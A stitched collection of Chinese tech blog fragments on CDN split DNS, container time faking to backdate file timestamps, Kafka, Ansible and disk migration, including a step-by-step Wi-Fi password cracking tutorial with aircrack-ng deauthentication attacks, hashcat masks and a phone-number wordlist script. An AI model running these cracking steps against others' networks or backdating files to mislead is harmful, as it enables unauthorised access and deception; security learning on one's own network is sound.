本文旨在在不增加成本的情况下，让国内用户访问更快、国外用户体验更稳。只需要配合使用两个域名，通过Cloudflare 自定义主机名 + 国内 DNS 厂商分流解析 + 国内 CDN回源/直接访问国内源站，就可以实现“国内走国内 CDN/直连、国外走Cloudflare”的效果。

前置条件

• 开启 Cloudflare for SaaS 的 Cloudflare账号（需绑定信用卡，支持银联信用卡）
• DNSPod 账号（支持境内外分流解析）
• 主域名（网站使用的域名）
• 中间域名（访客对于中间域名无感知）

配置步骤

1. 在 DNSPod 添加记录

必须要添加默认线路的纪录（指向哪里无所谓，可配置为国内源站服务器），然后分别添加境内、境外线路

2. 在 Cloudflare给中间域名添加解析记录

这里的名称随意

3. 在 Cloudflare配置回退源和自定义主机名

位置：Cloudflare -> SSL/TLS -> 自定义主机名

检查效果

这里使用的工具是：https://www.itdog.cn/ping

其他

腾讯云 EdgeOne 的免费套餐目前开放限量内测，2026 年 3 月 31日前都有机会上车，如果 Cloudflare绑卡有困难可以考虑一下它，我上面的截图里 DNSPod默认线路指向的就是它，启用它需要暂停上面在 DNSPod创建的境内境外分流解析记录，还需要域名已备案。
活动链接：https://cloud.tencent.com/act/pro/eo-freeplan?from=28412#choujiang

先是找到了libfaketime^[1]这个工具，但这个库只对当时运行的二进制有关，影响不到正在运行的文件系统，或许有某种办法可以在挂载文件系统时或更早的阶段让libfaketime 介入，但我感觉有点风险，为了数据安全就先放下了这个想法。

后来在查资料的过程中发现还可以在容器里面利用 libfaketime修改容器内部时间^[2]，妥了，容器里边就可以随便造了哈哈，只需要把文件所在目录挂载到容器内，然后在容器内把要处理的文件copy 到挂载目录之外的其他位置^[3]再覆盖回来,就可以把创建时间变成过去的时间了，下面是步骤：

1. 创建 Dockerfile 文件

1
2
3

mkdir faketime
cd faketime
vim Dockerfile

1
2
3
4
5
6
7
8
9
10

FROM m.daocloud.io/docker.io/alpine:latest
RUN sed -i 's#https\?://dl-cdn.alpinelinux.org/alpine#https://mirror.nju.edu.cn/alpine#g' /etc/apk/repositories
RUN apk update && apk add make gcc g++ git fd bash
RUN git clone https://hk.gh-proxy.org/https://github.com/wolfcw/libfaketime && \
    cd libfaketime/src && make install

# 设定固定日期
#ENV LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so FAKETIME="2012-01-22 8:22:22"
# 设定“起始于”日期，容器启动后容器内时间将会在设定日期基础上实时变化
ENV LD_PRELOAD=/usr/local/lib/faketime/libfaketime.so FAKETIME="@2012-01-22 8:22:22"

2. 构建镜像

1

docker build -t faketime:v1 ./

3. 启动容器

1
2
3
4

# 直接启动容器
docker run -it --rm --volume /data/Camera:/data time:v1 bash
# 可以在启动容器时重新设定 FAKETIME 变量
docker run -it --rm --volume /data/Camera:/data -e FAKETIME="2015-01-22 8:22:22" time:v1 bash

4. 处理文件

在容器内执行

1
2
3

cp /data/*.VDI ~/
mkdir -p /data/vdi-bak && mv /data/*.VDI /data/vdi-bak
mv ~/*.VDI /data/

5. 验证

1
2
3
4
5
6
7
8
9

[idea@MiniPC /data/Camera]# stat SUNP0117.AVI
# File: SUNP0117.AVI
#  Size: 4919296         Blocks: 9608       IO Block: 4096   regular file
# Device: 8,17    Inode: 25305122    Links: 1
# Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
# Access: 2012-01-22 16:20:40.000000000 +0800
# Modify: 2012-01-22 16:20:40.000000000 +0800
# Change: 2025-11-27 21:45:46.431720916 +0800
#  Birth: 2025-11-27 21:45:46.418387463 +0800

可以看到，修改生效了。

把 cap 文件转换成 hashcat支持的格式

1

hcxpcapngtool -o Wi-Fi_capture-01.hc22000 Wi-Fi_capture-01.cap

使用 hashcat 破解密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 使用单个字典暴力破解
hashcat -m 22000 -a 0 Wi-Fi_capture-01.hc22000 ~/phone_numbers_dict.txt

# 没有字典，使用掩码匹配所有特定结构的密码
hashcat -m 22000 -a 3 Wi-Fi_capture-01.hc22000 ?l?l?l?d?d?d?d?d

# 两个字典，手机号+中国常见姓氏拼音
hashcat -m 22000 -a 1 Wi-Fi_capture-01.hc22000 ~/phone_numbers_dict.txt ~/BaiJiaXing_pinyin.txt
hashcat -m 22000 -a 1 Wi-Fi_capture-01.hc22000 ~/BaiJiaXing_pinyin.txt ~/phone_numbers_dict.txt

# 掩码/字典混合模式，字母+手机号
hashcat -m 22000 -a 6 Wi-Fi_capture-01.hc22000 ~/phone_numbers_dict.txt ?l?l
hashcat -m 22000 -a 6 Wi-Fi_capture-01.hc22000 ~/phone_numbers_dict.txt ?u?u
hashcat -m 22000 -a 7 Wi-Fi_capture-01.hc22000 ?l?l ~/phone_numbers_dict.txt
hashcat -m 22000 -a 7 Wi-Fi_capture-01.hc22000 ?u?u ~/phone_numbers_dict.txt

# 全部手机号都做到字典里文件就有点太大了，只把前7位放字典里，后四位使用掩码
hashcat -m 22000 -a 6 Wi-Fi_capture-01.hc22000 ~/phone_prefix_dict.txt ?d?d?d?d

常用参数释义：

1
2
3
4
5
6
7

-w 2 # 工作负载，默认为2（均衡模式），可设为3（全力以赴模式，会导致图形界面卡顿）或4（疯狂模式，只建议在纯命令行模式下使用）
-a 0 # 使用单个字典暴力破解
-a 1 # 组合两个字典，详见 https://hashcat.net/wiki/doku.php?id=combinator_attack
-a 3 # 使用掩码匹配所有特定结构的密码，详见 https://hashcat.net/wiki/doku.php?id=mask_attack
-a 6 # 字典+掩码，详见 https://hashcat.net/wiki/doku.php?id=hybrid_attack
-a 7 # 掩码+字典，详见 https://hashcat.net/wiki/doku.php?id=hybrid_attack
-D 1 # 指定使用CPU还是GPU等，默认是1（表示使用CPU），可改为2（使用GPU加速）

掩码：

1
2
3
4
5
6
7
8

- ?l = abcdefghijklmnopqrstuvwxyz
- ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
- ?d = 0123456789
- ?h = 0123456789abcdef
- ?H = 0123456789ABCDEF
- ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
- ?a = ?l?u?d?s
- ?b = 0x00 - 0xff

不建议在未经允许的情况下破解他人的 Wi-Fi，建议使用自己的Wi-Fi 测试。

本方案的原理：监听目标 Wi-Fi，同时对目标 Wi-Fi 发起攻击，使正常连接该Wi-Fi 的设备断线，断线后设备会尝试重新连接Wi-Fi，此时会发送包含加密过的密码的握手包，我们就能抓取到这个握手包，再用字典中的密码挨个按照相同加密方式去匹配抓到的握手包。

简而言之：最后能不能成功还是依赖于字典，只有 Wi-Fi密码刚好在字典中存在才能有机会匹配到，不存在那就没戏了，暴力破解就是这样子的，全靠运气和莽😂。

准备测试环境

1.检查无线网卡是否支持监听模式

如果自己电脑物理机装的就是 Linux 系统，直接执行 iwlist，检查输出是否有“monitor”字样，如果没有，需要自行准备支持监听模式的USB 网卡之类的东西，我用的是在淘宝买的 MT7921 USB 无线网卡。

1
2
3
4
5
6
7
8
9
10
11

iw list

# ...
#Supported interface modes:
#         * managed
#         * AP
#         * AP/VLAN
#         * monitor # 监听模式
#         * P2P-client
#         * P2P-GO
# ...

2. 准备测试环境

在你的 Linux 系统中安装Aircrack-ng^[1]工具包，或者直接去 镜像站^[2] 下载Live 版的 Kali Linux 系统镜像（比如kali-linux-2025.3-live-amd64.iso），自行制作系统盘，然后引导进入Live 环境进行后面的操作，如果你是用的 USB无线网卡，也可以用虚拟机测试，USB无线网卡可以很方便的直接连接到虚拟机。

如果你用的是 Windows，只建议使用虚拟机 +无线网卡的方案，不建议尝试直接在 Windows 运行Aircrack-ng，兼容性不好。

测试步骤

1. 网卡切换到监听模式

1

airmon-ng start wlan0

2. 清理干扰进程

1

airmon-ng check kill

3.列出附近的 Wi-Fi 网络，记下目标 Wi-Fi 的 BSSID 和 CH（信道）

1
2
3
4
5

# 扫描2.4GHz 频段
airodump-ng wlan0mon

# 扫描 5GHz 频段
airodump-ng wlan0mon -C 5180-5885

注意这里的无线网卡名称是  wlan0mon, 而不是 wlan0。因为刚刚开启了监听 (monitor) 模式。

4. 监听目标 Wi-Fi

1

airodump-ng --bssid 2C:B2:1A:22:51:86 -c 3 -w ~/Wi-Fi_capture wlan0mon

5. 发送 Deauthentication 攻击

为了加速握手包的捕捉，可以发送 Deauthentication攻击，让目标设备断线并重新连接

新开一个终端。

1
2
3
4
5

# 攻击无线AP
# aireplay-ng --deauth 10 -a 2C:B2:1A:22:51:86 wlan0mon

# 攻击客户端(-c 后面跟的是客户端mac地址)
aireplay-ng --deauth 10 -a 2C:B2:1A:22:51:86 -c 9C:5A:81:2A:C1:49 wlan0mon

捕捉到握手包后就可以执行 airmon-ng stop wlan0mon停止监听模式了

6. 使用字典破解 Wi-Fi 密码

1

aircrack-ng -w /usr/share/wordlists/rockyou.txt Wi-Fi_capture-01.cap

这里使用的是 kali 自带的密码本，为提高成功概率，可把 -w 后面的 txt文件换成自定义专用密码本。

进阶操作：制作自己的密码本

例 1.制作包含所有本地手机号的密码本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 下面的两个前缀只是例子，请自行查找当地的号段。
prefixes = ['1850006', '1301101']

def generate_phone_numbers(file_name):
    with open(file_name, 'w') as file:
        for prefix in prefixes:
            for i in range(10000):  # 后四位从0000到9999递增
                phone_number = f"{prefix}{i:04d}"  # 格式化为11位
                file.write(f"{phone_number}\n")

                # 加上其他前缀后缀
                for j in ('A','a'):
                    phone_number = f"{j}{prefix}{i:04d}"
                    file.write(f"{phone_number}\n")
                    phone_number = f"{prefix}{i:04d}{j}"
                    file.write(f"{phone_number}\n")

# 调用函数生成并写入文件
generate_phone_numbers('phone_numbers.txt')

在创建容器时需要注意两点：

一是网络要设置为 host 模式，

二是「命令设置 --> cmd 命令」改成自定义，并填入如下内容：

1

'--no-tun' '-d' '--network-name' 'foo' '--network-secret' 'bar' '-p' 'tcp://public.easytier.cn:11010'

参数说明：

• -i <IPV4>: 手动指定 ip
• -d: 自动设定 ip，与 -i 二选一
• --no-tun: 配置该参数后将不会尝试创建 TUN设备，该节点将无法主动启动对其他节点的访问，不影响被访问

1

cat example.jpg example.zip > 1.jpg

Windows

打开 CMD（不能是 PowerShell）

1

copy /b example.jpg + example.zip 2.jpg

生成的文件可以正常的用各种图片浏览器打开，也可以直接用你的压缩软件打开这个'jpg' 文件，但有些时候可能需要给它加个 .zip后缀才能正常识别，如果你的压缩软件不支持识别这种文件也没关系，后面会提到拆开的办法。

看一下生成的文件的校验值

1
2
3

$ md5sum *.jpg
c6a274f01e3eb53a467bb11a14102fed  1.jpg
c6a274f01e3eb53a467bb11a14102fed  2.jpg

两个平台的结果是一模一样的！

这个小“魔术”的原理很简单，就是从二进制层面强行把两个文件拼接到一起，但各种软件在默认情况下只能读出来这个缝合怪的第一个部分。没用知识+1

有合就有分，再来试一下把文件再拆出来吧，以 Linux 上的操作为例：

拆分（Linux）

首先看一下原来图片有多大

1
2
3
4

$ stat example.jpg
  File: example.jpg
  Size: 112200   ... ...
  ... ...

喔，是 112200 字节,开搞！

只把图片拆出来直接可以用 dd 一行搞定。

1

dd if=2.jpg of=2.1.jpg bs=1 count=112200

全都拆出来就要用到其他工具了

1
2
3
4
5

mkdir split
cd split/
split -b 112200 ../2.jpg # 按照 112200 字节每段，拆分为 xaa 、xab、xac 等一大堆小文件
mv xaa ../2.2.jpg # 第一段就是那个图片
cat ./* > ../2.2.zip # 其余的按照顺序拼起来就是压缩包

PS：本文只是以 zip 和 jpg为例，所有的压缩包格式、图片格式理论上都可以使用本文所属方法

最后的最后，贴一下中间产生的所有文件的校验值

1
2
3
4
5
6
7
8
9

$ md5sum ./* | sort -k 1
785352af167d67a06bd341617d88d3ab  ./2.2.zip
785352af167d67a06bd341617d88d3ab  ./2.zip
785352af167d67a06bd341617d88d3ab  ./example.zip
7fc687cc6229f5cdd411f9b812bc74c7  ./2.1.jpg
7fc687cc6229f5cdd411f9b812bc74c7  ./2.2.jpg
7fc687cc6229f5cdd411f9b812bc74c7  ./example.jpg
c6a274f01e3eb53a467bb11a14102fed  ./1.jpg
c6a274f01e3eb53a467bb11a14102fed  ./2.jpg

然而，这些工具在使用过程中都存在一些不顺心的地方，由于国内对跨网的UDP 点对点通信 Qos得很厉害，严重影响可用性；而且这些服务有的不支持自建中转或者自建很麻烦、有的没找到强制走中转的方式、有的官网经常被防火墙拦截。。。这就大大降低了上面提到的这些工具在我这里的使用体验。

前些时候发现了一个新工具，EasyTier，下载下来简单体验了一下后，我感觉这就是我要的组网工具：

• 配置简单，自建中转服务也很方便
• 默认 P2P 打洞，可在任意客户端随意选择强制走中转，中转协议支持TCP！
• 可以很方便的在某个节点引入私网路由
• 支持 Windows、Android、Linux 等平台

另：这个软件的社区目前很活跃，除了 官方的 GUI之外，也可以使用 EasytierGame 或者 Astral

1. 添加硬盘

咋添加就不再赘述了 ，添加完硬盘后重启虚拟机，执行 lsblk命令可以发现会多出 sdb、sdc 之类的设备。这就是咱刚才添加的硬盘。

2. 确认哪些目录需要更大空间

使用 du --max-depth=1 -h /可查出哪些目录占占空间较多。
最终查出来就是这些了：

• /home
• /var
  …
  …

以 home 为例吧

3. 分区

1
2
3
4

root@host45:~# fdisk /dev/sdb
n
疯狂回车
w

解释：

• fdisk：分区工具
• n：在硬盘上新建分区
• 疯狂回车：因为是新增空白盘，所以可以大胆的用默认的配置
• w：保存配置，并写入磁盘

然后在刚才创建的分区上创建 ext4 文件系统（或者说格式化为 ext4文件系统）

1

root@host45:~# mkfs.ext4 /dev/sdb1

4. 临时挂载

创建一个临时目录作为刚才/dev/sdb1 的挂载点 ，并挂载上去。
这里直接使用 /mnt/home 了，到第 5 步使用 rsync拷贝数据时会方便点。

1
2

root@host45:~# mkdir  /mnt/home
root@host45:~# mount /dev/sdb1 /mnt/home

然后再 lsblk 可以看到 sdb1 已被挂载到 /mnt/home

1
2
3
4

root@host45:~# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sdb      8:16   0   40G  0 disk
`-sdb1   8:17   0   40G  0 part /mnt/home

5. 迁移数据

1

root@host45:~# rsync -avzuP /home /mnt/

作用：同步 /home 下的数据 到 /mnt/home

可以再多执行几次rsync -avzuP /home /mnt/，已被拷贝的不会重新拷贝。（不多执行应该也没啥问题，但多执行几次更稳妥一些，突出一个稳健）

再执行几次 sync 倒一下缓存。（理由同上）

1
2

root@host45:~# sync
root@host45:~# sync

6. 清理掉原来的文件

1

root@host45:~# find /home -type f -delete

用 rm -rf /home/*也行，这俩命令都很危险，执行务必前看清楚敲对了没，别把/ 给清了。

7. 持久化挂载

编辑 /etc/fstab，在末尾新建一行添加：

1

/dev/sdb1 /home auto auto 0 0

说明：

• /dev/sdb1：哪个分区
• /home：挂载到哪
• auto auto 0 0：不知道该咋写就这样写就没毛病，通用默认配置

8. 重启

重启前注意下，第 7步如果写错，充启后可能会进不去操作系统！进安全模式或者单用户模式啥的修改fstab文件可解，但不是本文内容了，网络上有很多相关文章，可自行搜索

1

reboot

重新进入系统后你会发现，空间又够用啦~

现在 AB DownloadManager 是最带劲的了

选出来几个做下简单对比：

• Gopeed
  • 支持浏览器插件自动唤起下载
  • 支持 HTTP、BitTorrent、Magnet 等协议
  • 支持 Windows、MacOS、Linux、Android、iOS 等
  • 目前版本 (1.6.x) 对某些中文文件名识别有问题，下载下来后文件名是urlencode 过的，需要手动重命名
• AB Download Manager
  • 支持浏览器插件自动唤起下载
  • 支持按照文件后缀分类并下载到不同子目录
  • 界面挺精致的
  • 支持 Windows、Linux
  • 目前版本 (1.1.0) 不支持配置代理最新版本已支持
• NeatDownloadManager
  • 支持浏览器插件自动唤起下载
  • 支持配置代理
  • 支持按照文件后缀分类并下载到不同子目录
  • 支持 HTTP 和 FTP 协议。
  • 支持 Windows、MacOS

首先创建我们接下来学习 Ansible 过程中使用的工作目录

1

mkdir -p ~/ansible_playground

使用各家包管理器安装或使用 pip 安装均可，以 pip 为例

1
2
3
4

cd ~/ansible_playground
python3 -m venv venv # 创建 venv 环境（可选）
source venv/bin/activate # 生效该环境（可选）
pip install ansible

使用这种方式安装的 ansible 在每次使用前都需要执行source venv/bin/activate 切换一下环境。

创建 ansible 配置

在工作目录下创建 ansible 配置文件 ansible.cfg：

1
2
3

# ~/ansible_playground/ansible.cfg
[defaults]
inventory=hosts

这里的 hosts 是受控设备清单，下面会提到。

修改 ssh 配置

只需要在安装了 ansible 的设备上修改，不改也行，我是因为每次重新使用docker 建立容器后 key都会变化，以至于每次都要求我重新确认，实在让人恼火才改的 hhh。

1
2
3
4

# /etc/ssh/ssh_config
StrictHostKeyChecking no
# 当设置为 `yes` 时，SSH 客户端会严格检查主机密钥，如果主机密钥发生变化或未知，则连接会被拒绝并提示密钥不匹配的错误信息。
# 如果设置为 `no`，则 SSH 客户端会自动接受新的主机密钥，而不会提示错误信息。

建立试验场

我原本打算开一个虚拟机作为受控设备，突然想到可以用 docker实现这个需求，好处是随用随开，且开销极低，只是练习的话这么搞应该是没啥问题的。涉及到部署服务还是得虚拟机，在容器里折腾systemd 有点蛋疼且不够清真。

下面是 Dockerfile：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

FROM ubuntu:latest

RUN apt-get update && apt-get install openssh-server sudo rsync -y

RUN echo 'root:root' | chpasswd

RUN echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config

RUN echo 'UseDNS no' >> /etc/ssh/sshd_config

RUN userdel ubuntu && rm -rf /home/ubuntu

RUN useradd -m -s /bin/bash -g root -G sudo -u 1000 idea

RUN echo 'idea:idea' | chpasswd

RUN echo 'idea ALL=(ALL) NOPASSWD: ALL' | tee -a /etc/sudoers

RUN service ssh start

EXPOSE 22 80

CMD ["/usr/sbin/sshd","-D"]

然后可以构建镜像，并测试是否可用：

1
2
3
4
5
6
7
8

# 构建镜像
docker build -t ubuntu:ssh .

# 批量创建容器
for i in 1 2; do docker run -d --name ubuntu_ssh_$i -p 300$i:22 -p 808$i:80 ubuntu:ssh; done;

# 测试是否可用
ssh ssh://idea@127.0.0.1:3001

编辑受控设备清单

根据上面创建的容器的端口等信息编写 hosts 文件：

1
2
3
4
5

# ~/ansible_playground/hosts
[ubuntu_idea]
vm1 ansible_ssh_host=127.0.0.1 ansible_ssh_user='idea' ansible_ssh_port=3001 ansible_ssh_pass='idea'
[ubuntu_root]
vm2 ansible_ssh_host=127.0.0.1 ansible_ssh_user='root' ansible_ssh_port=3002 ansible_ssh_pass='root'

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

[idea@archlinux ansible_playground]$ ansible all -m ping
vm2 | SUCCESS => {
    "changed": false,
    "ping": "pong"
}
vm1 | SUCCESS => {
    "changed": false,
    "ping": "pong"
}

[idea@archlinux ansible_playground]$ ansible ubuntu_idea -m shell -a 'cat /etc/hostname'
vm2 | CHANGED | rc=0 >>
1b6f5bc4d9a2
vm1 | CHANGED | rc=0 >>
4c74b855f4a1

成功了🎉

刚才花了几十分钟尝试了几种评论系统，最终选择了 Twikoo。

现在可以无障碍地评论了。

如果需要虚拟机/宿主机互相访问对方提供的网络服务，同时虚拟机也能上网：

• VMware Workstation 可直接使用 NAT 模式网卡或桥接模式网卡。
  
• Virtual Box 需要使用桥接模式网卡；或者给虚拟机添加两个网卡，一个NAT，一个仅主机。

桥接模式网卡是最通用的，但如果物理网卡上没网络的话可能会有问题；
懒得折腾就不论啥虚拟机软件都直接给虚拟机添加两个网卡，一个NAT，一个仅主机。

方法 1 使用 set

如何设定：

1

set "ls=busybox.exe ls"

如何使用：

1

%ls%

方法 2 使用 doskey

此方式仅适用于交互式命令行 -它们不适用于批处理脚本，且不能用在管道的任一侧

如何设定：

1

doskey ls=busybox.exe ls

如何使用：

1

ls

持久化设定

将 %USERPROFILE%\bin 添加到 PATH 环境变量中。然后将脚本保存在那里。

ls.cmd:

1
2

@echo off
busybox.exe ls

然后可以在命令行中输入 ls 。
也可以使用 call 函数在脚本内调用它

1

call ls

1. 使用 flatpak 安装主题

1

flatpak install flathub org.gtk.Gtk3theme.Adapta

2. 设定环境变量

1

sudo flatpak override --env=GTK_THEME=Adwaita:dark

然后再启动程序，主题就是暗黑的了。

PC端（Chrome/Firefox）使用浏览器插件，移动端（IOS/Android）使用它提供的app，都在这个 链接 里。
同步方式使用 WebDAV（坚果云注册个账号就行了）

使用方式

1. 安装插件

• Firefox
• Edge
• Chrome

2. 配置同步方式

新建账户选择 WebDAV 然后填入账号密码等信息即可，注意

• “书签路径”为同步文件在 WebDAV 服务器中的路径
• “文件夹映射 - 本地文件夹”为浏览器中要同步的书签的文件夹

3.保存，然后点击浏览器插件栏内图标以开始第一次同步

注意

这个插件有可能会和浏览器自带账号同步产生冲突，故如果 PC 端使用的是Edge/Chrome/Firefox 等浏览器并登陆了账号的话，

• 要么把 floccus设置里的同步策略改为“始终上传本地更改并敏销来自其他浏览器的更改”，移动端APP 上只做浏览用。
• 要么关闭浏览器内置的书签同步服务，只使用 floccus 作为同步工具。

Windows

1
2

# 需使用管理员权限打开终端
shutdown /r /fw /f /t 0

Linux

1
2

# 先切到 root 用户
systemctl reboot --firmware-setup

使用时间：2018 - 2022

朴实无华的纯 Markdown 文件，只是为这些文件加上了版本控制。

由于我使用 Git 作为版本管理工具，我可以将这些 Markdown 文件推送到各大Git 托管网站。这样就实现了多端备份，并且在线编辑也还算方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

repo_path=$HOME/storage/shared/Obsidian/notes-obsidian

obgit_cmd="git --work-tree=$repo_path --git-dir=$repo_path/.git"

alias obcd="cd $repo_path"

alias obgit=$obgit_cmd

alias obgit-sync="$obgit_cmd checkout -- && $obgit_cmd reset --hard && $obgit_cmd pull codeup main:main --rebase"

alias obgit-clean="$obgit_cmd checkout -- && $obgit_cmd reset --hard"

alias obgit-commit="$obgit_cmd commit -a -m 'update'"

alias obgit-push-all="$obgit_cmd remote | xargs -I _  $obgit_cmd push _"

我就不再赘述这种方案和其他密码管理器的优劣对比了，KeePass不依赖私有的云服务，仅此而已。

2025/3/18 updae:
Vaultwarden 真香

什么是 KeePass

KeePass是一款免费的开源密码管理器，可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中，并使用主密钥锁定该数据库。因此，您只需记住一把主密钥即可解锁整个数据库。数据库文件使用目前已知的最好、最安全的加密算法（AES-256、ChaCha20和 Twofish）进行加密。

下面是 KeePass 打动我的一些特点：

• 开源、免费
• 因为它是开源的，有很多开发者在各种平台为它开发了客户端
• 一个主密码即可解密整个数据库。如果想要更高的安全性也可以结合密钥文件使用。
• 密码数据库仅由一个文件组成，可以通过 WebDAV等方式轻松地实现跨设备同步。
• 密码列表可以导出为各种格式，如 TXT、HTML、XML 和 CSV。

客户端推荐

下面列出我正在使用的客户端：

KeePassXC

官网：https://keepassxc.org

支持平台：Windows, macOS, and Linux

优点：功能全面，有浏览器插件

缺点：访问 WebDAV（但可以使用坚果云客户端弥补这一点）

AuthPass

官网：https://authpass.app/

支持平台：Windows, macOS, Linux and Android

优点：界面简洁美观，支持直接访问 WebDAV、GoogleDrive等平台上存储的密码数据库文件

缺点：功能略少（但也够用）

如果上面没提到你现在使用的平台，可以去 官网 搜寻

如何使用？

以在 Windows 上使用 KeePassXC 为例

1. 首先，需要有一个 WebDAV 网盘，国内建议使用坚果云。
2. 在坚果云里创建一个目录，比如 KeePass
3. 在电脑上安装坚果云的客户端，并把上一步创建的 KeePass目录同步到本地某处。
4. 新建一个密码数据库，并把它保存到坚果云同步的目录内
5. 现在可以在其他设备访问你的密码库文件

1
2
3
4
5
6
7
8
9
10

cd /opt
wget http://mirrors.estointernet.in/apache/kafka/3.2.0/kafka_2.13-3.2.0.tgz
mkdir kafka
tar -zxvf kafka_2.13-3.2.0.tgz --strip-component=1 -C kafka
# 创建用来运行kafka的系统用户
useradd -r -s /bin/bash -d /opt/kafka/ kafka
chown -R kafka:kafka /opt/kafka/
# 把 kafka/bin 加入PATH
echo 'export PATH=$PATH:/opt/kafka/bin' >> /etc/profile.d/dev_libs.sh
. /etc/profile.d/dev_libs.sh

2. 基本配置

下面两种方式二选一，无特别要求就选 Kafka WithKRaft，也即是官方推荐的方式^[1]

2.1 Kafka With KRaft

在 Kafka 2.8.0 之后的版本中，已经不再使用 ZooKeeper作为默认的协调器，并且在命令行工具中也不再支持--zookeeper选项，改为使用内置的协调器（称为KRaft）来管理主题、分区和其他元数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 切换到 kafka 用户
su - kafka

# 修改配置中的 log.dirs
# vim /opt/kafka/config/kraft/server.properties
# log.dirs=/opt/kafka/config/kraft/kraft-combined-logs

# 生成 UUID
KAFKA_CLUSTER_ID=`/opt/kafka/bin/kafka-storage.sh random-uuid`

# 在启动节点之前需要用格式化一下日志目录
/opt/kafka/bin/kafka-storage.sh format -t $KAFKA_CLUSTER_ID -c /opt/kafka/config/kraft/server.properties

# 启动服务测试一下
/opt/kafka/bin/kafka-server-start.sh /opt/kafka/config/kraft/server.properties

创建 systemd 服务文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# /lib/systemd/system/kafka_no-zk.service
[Unit]
Description=kafka
After=network.target

[Service]
Type=simple
User=kafka
ExecStart=/opt/kafka/bin/kafka-server-start.sh /opt/kafka/config/kraft/server.properties
ExecStop=/opt/kafka/bin/kafka-server-stop.sh
Restart=on-abnormal

[Install]
WantedBy=multi-user.target

启动

1
2
3
4

systemctl daemon-reload
systemctl enable --now kafka_no-zk.service
systemctl restart kafka_no-zk.service
systemctl status kafka_no-zk.service

2.2 Kafka With ZooKeeper

1
2
3
4
5
6
7
8
9

# /opt/kafka/config/zookeeper.properties
dataDir=/opt/kafka/data/zookeeper # 修改存储位置为 /opt/kafka/data/zookeeper

# /opt/kafka/config/server.properties
log.dirs=/opt/kafka/data/kafka # 修改存储位置为 /opt/kafka/data/kafka
delete.topic.enable = true # 添加配置，允许删除主题

# 再次设定权限
chown -R kafka:kafka /opt/kafka/

创建 systemd 服务文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# /lib/systemd/system/zookeeper.service
[Unit]
Description=zookeeper
After=network.target

[Service]
Type=simple
User=kafka
ExecStart=/opt/kafka/bin/zookeeper-server-start.sh /opt/kafka/config/zookeeper.properties
ExecStop=/opt/kafka/bin/zookeeper-server-stop.sh
Restart=on-abnormal

[Install]
WantedBy=multi-user.target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# /lib/systemd/system/kafka.service
[Unit]
Requires=zookeeper.service
After=zookeeper.service
Description=kafka
After=network.target

[Service]
Type=simple
User=kafka
ExecStart=/opt/kafka/bin/kafka-server-start.sh /opt/kafka/config/server.properties
ExecStop=/opt/kafka/bin/kafka-server-stop.sh
Restart=on-abnormal

[Install]
WantedBy=multi-user.target

启动

1
2
3
4
5
6
7
8
9
10
11

systemctl daemon-reload

# 先启动zookeeper
systemctl enable --now zookeeper.service
# 查看状态
systemctl status zookeeper.service

# 然后启动 kafka
systemctl enable --now kafka.service
# 查看状态
systemctl status kafka.service

3. 测试

1
2
3
4
5
6
7
8
9

# 创建一个主题
kafka-topics.sh --create --bootstrap-server localhost:9092 --topic testTopic
# 显示使用信息
kafka-topics.sh --describe --bootstrap-server localhost:9092 --topic testTopic
# 将一些事件写入主题（生产者）
echo "Hello, World" | kafka-console-producer.sh --broker-list localhost:9092 --topic testTopic
cat /etc/os-release | kafka-console-producer.sh --broker-list localhost:9092 --topic testTopic
# 从主题读取事件（消费者）
kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic testTopic --from-beginning

不影响原网卡配置，降低故障风险，不影响业务正常运行

临时添加：

使用 ip 命令

1

ip addr add 10.100.100.231/24 dev eth0:0

使用 ifconfig 命令

1

ifconfig eth0:0 10.100.100.235 netmask 255.255.255.0 up

永久添加：

deb 系发行版：

1
2
3
4
5
6
7
8
9
10
11

# cat /etc/network/interfaces
auto ens33
iface ens33 inet static
       address 10.17.34.231
       netmask 255.255.255.0
       gateway 10.17.34.1

auto ens33:0
iface ens33:0 inet static
       address 10.100.100.231
       netmask 255.255.255.0

rpm 系发行版：

1
2
3
4
5
6
7
8
9
10
11
12

# cat /etc/sysconfig/network-scripts/ifcfg-eno3
DEVICE=eno3
ONBOOT=yes
BOOTPROTO="static"
IPADDR=10.17.34.234
PREFIX=24

# cat /etc/sysconfig/network-scripts/ifcfg-eno3:0
DEVICE=eno3:0
ONBOOT=yes
IPADDR=10.100.100.234
PREFIX=24

保存退出，启用网卡 ifup eno3:0 即可。多个 IP 则添加多个文件:1、:2 ...

配置不同的网卡只需要修改 DEVICE、IPADDR、NETMASK(或者PREFIX)，网卡配置文件中的变量名都必须是大写。

在 PVE Host 中用 qm 命令建立 serial port，假设我的 VM ID 是 100

1

qm set 100 -serial0 socket

接着重开 VM，用 dmesg 确认是否有 ttyS 出現

1

dmesg | grep ttyS

VM 内修改 grub 配置

依照官方说明，修改 /etc/default/grub 的 GRUB_CMDLINE_LINUX参数，在，添加 console=tty0 console=ttyS0,115200

deb/rpm 系发行版有不同的更新 grub 配置文件的方式

1
2
3
4

# deb
update-grub
# rpm
grub2-mkconfig --output=/boot/grub2/grub.cfg

最后重启 VM

然后可以在浏览器内打开 PVE 界面测试 xterm.js 是否可用

也可以在 PVE Host 的终端内执行 qm terminal 100 来连接到VM

1
2
3
4
5
6
7
8
9

# 在系统中创建用来运行 svn 进程的账户
user add -m svn
# 创建相关目录
su svn
mkdir /home/svn/svn_repos/
mkdir /home/svn/log
touch /home/svn/log/svn.log
mkdir /home/svn/svn_users.conf
cd /home/svn/svn_repos/

1. 创建仓库

1
2

svnadmin create test1
svnadmin create test2

2. 修改仓库配置

• svnserve.conf

1
2
3
4
5
6
7

